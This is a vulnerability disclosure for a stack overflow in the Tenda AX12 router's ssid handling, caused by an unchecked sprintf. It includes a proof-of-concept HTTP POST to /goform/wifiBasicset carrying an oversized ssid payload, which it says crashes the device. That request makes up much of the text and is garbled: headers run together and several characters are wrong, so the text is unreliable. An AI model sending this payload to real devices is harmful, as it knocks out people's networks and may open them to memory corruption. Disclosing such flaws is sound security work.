Tenda AX12 Unauthorized stack overflow vulnerability

1. Affected version:

v22.03.01.21_cn

2. Firmware download address

https://www.tenda.com.cn/download/detail-3237.html

3. Vulnerability details

The function `sub_4151AC(a1,(int)"ssid","");` called `sprintf((init)v21,"%s_5g",v2)`, and the function did not judge the length of the string when formatting the output. There are potential vulnerabilities.

Login to tenda, set the network name in `Wireless Name and Password`

ssid is the wireless name

Set `2.4G network name`, use packet capture to capture, modify the name, and get the page response,Denial of service occurs on the page, and the emulator can implement arbitrary write operations.

4. Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed

PosT / goform/ wifiBasicset HTTP/1.1Host: 192.168.83.129
User-agent: Mozilla/5.0 (Windows wT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Accept:*/*
Accept-Language: zh-CN,zh; q=0.8,zh-Tw;q=0.7,zh-HK ; q=0.5, en-Us; q=0.3,en;q=0.2Accept-Encoding: gzip, deflate
content-Type: application/x-www-form-urlencoded;
charset=UTF-8x-Requested-with : XMLHttpRequest
content-Length: 165

origin : http://192.168.83.129
connection: close
Referer:
http://192.168.83.129/wireless_ssid.htm1?random=0.748994624583381&Cookie:
password=25d55ad283aa400af464c76d713c07adbqxgkt
doubleBand=1&wrlEn=1&wrlEn_5g=1&security=none&security_5g=none&ssid=
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
&ssid_5g=11111
11111&hideSsid=0&hideSsid_5g=0&wrlPwd=12345678&wrlPwd_5g=12345678

This PoC can result in a Dos